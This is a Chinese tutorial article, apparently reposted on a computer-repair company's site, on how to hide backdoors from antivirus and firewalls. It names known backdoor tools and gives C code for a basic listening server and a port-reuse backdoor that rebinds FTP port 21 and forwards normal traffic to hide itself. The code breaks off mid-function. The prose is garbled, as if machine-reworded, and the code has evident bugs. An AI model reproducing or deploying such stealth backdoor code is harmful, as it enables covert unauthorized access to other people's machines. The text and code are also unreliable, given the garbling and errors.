浅析后门隐藏技术
每每在网上“飘”的朋友信赖对后门这个称号一定很熟悉,其实后门也是一种程序,而由于它的用处的原因,它被广大的杀毒软件列为“通缉犯”,而且见到它便会痛下杀手,使那些使用后门的朋友痛心欲绝,正因云云,在这被杀和免杀之间,后门的品级失掉不停的提升,从后门的原始社会进入了后门的共产主义社会(有点夸张,其实小我私家认为,共产主义社会是不大概到达的;),好了,回到主题:
1.什么是后门
后门是一种远程的通讯工具,使用者可以使用后门来做一系列的事情,好比:修正注册表、杀去世进程、上传下载等等。由于绝大部门的后门都未颠末远程主机拥有者同意而被安置上去的,而且它们在使用的过程中会占用主机上的资源(本身的机子上的资料被他人非法占用,那可黑白常不爽的),甚至被用来做一些非法的事情使远程主机拥有者无辜受害,因而它被列为病毒也是合情公道;) 。
2.常见的后门
现在网下面的后门,真的是多不堪数,而常见有名的有winshell(孤单剑客的作品),winEggdrop(至今所见功效最齐备的后门,大概有更齐备的,但我没见过),wolf(美女黑客wolf的作品,不知道谁是wolf不要紧,知道睡在她旁边的叫glacier就够了,如果你连谁是gladier都不知道,小子,你不用混了),byshell(白远方的作品,用起来不错),另有一些有名没名的,在此就不多说了。
3. 后门的隐蔽技术
前面说过,后门是一种远程通讯工具,因而它涉及了网络编程,又由于它用于对体系的操作,因而它也涉及到体系编程,到现在为止,大部门后门都是用C/C++编写的,而此中又以C居多,因为对体系底层的编程,用C是最方便的。在这里,我先从网络编程讲起:
1)、网络编程基础
因为后门被用作服务端,所以这里我们只谈论服务段的编写,用的函数有WSAStartup()、socket()、bind()、accept()、send()等,如果你不知道它们有什么用,请参阅微软MSDN,这里有一个简单的例子:
#include
#include
#pragma comment(lib,"Ws2_32")
int main()
{
SOCKET mysock,tsock, // 定义套接字
struct sockaddr_in my_addr; // 本地地址信息
struct sockaddr_in their_addr; // 毗连者地址信息
int sin_size;
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa); //初始化Windows Socket Dll
//创立socket
mysock = socket(AF_INET, SOCK_STREAM, 0);
//bind本机的端口
my_addr.sin_family = AF_INET; // 协议类型是INET
my_addr.sin_port = htons(1234); // 绑定端口
my_addr.sin_addr.s_addr = INADDR_ANY; // 本机IP
bind(mysock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr));
//listen,监听端口
listen(mysock, 10); // 等待毗连数量
printf("listen......");
//等待客户端毗连
sin_size = sizeof(struct sockaddr_in);
tsock = accept(mysock, (struct sockaddr *)&their_addr, &sin_size);
//有毗连就发送Hello,zrqfzr!字符串已往
send(tsock, "Hello,zrqfzr!\n", sizeof(“Hello,zrqfzr!\n”), 0);
printf("send ok!\n");
//乐成,关闭套接字
closesocket(sockfd);
closesocket(new_fd);
return 0;
}
这个例子看起来简单,不外这就是后门的雏形了,各人可以看出其流程是WSAStaartup()->socket()->bind()->accept()-send(),功效不多,要完成更多的功效,那只是工夫的问题了。
2)隐蔽技术
常见的隐蔽技术有:端口复用,Raw socket编程、远程注入DLL以及HOOK技术等。
a. 端口复用
原理很简单,复用已经翻开的端口,因为防火墙不会关闭所有的端口,因而,我们可以复用那些防火墙放行的端口,好比;80,21等等,这样做的话,就要把后门做成嗅探器的形式,当它嗅探到指定形式数据的工夫,再举行毗连,这样的利益是能确保毗连乐成同时又不会被发现,主要是使用setsockopt()函数设置socket的/SO_REUSEADDR选项就是可以完成端口重绑定的了,
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val);
下面是一个简单的例子
#include
#include
#include
#include
#pragma comment(lib, "Ws2_32")
DWORD WINAPI ClientThread(LPVOID lpParam);
int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常使用环境下,应该指定具体的IP,留下127.0.0.1给正常的服务使用,然后使用这个地址举行转发,就可以不影响对方正常使用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.10");
saddr.sin_port = htons(21);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = TRUE;
//SO_REUSEADDR选项就是可以完成端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定乐成,前往无权限的错误代码;
//如果是想经过重使用端口到达隐蔽的目的,就可以静态的测试以后已绑定的端口哪个可以乐成,就说明具备这个漏洞,然后静态使用端口使得更潜伏
//其实UDP端口一样可以这样重绑定使用,这儿主要以FTP服务为例子举行打击
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//担当毗连恳求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//如果是隐蔽端口使用的话,可以在此处加一些果断
//如果是本身的包,就可以举行一些特殊处理,不是的话经过127.0.0.1举行转发
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(21);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|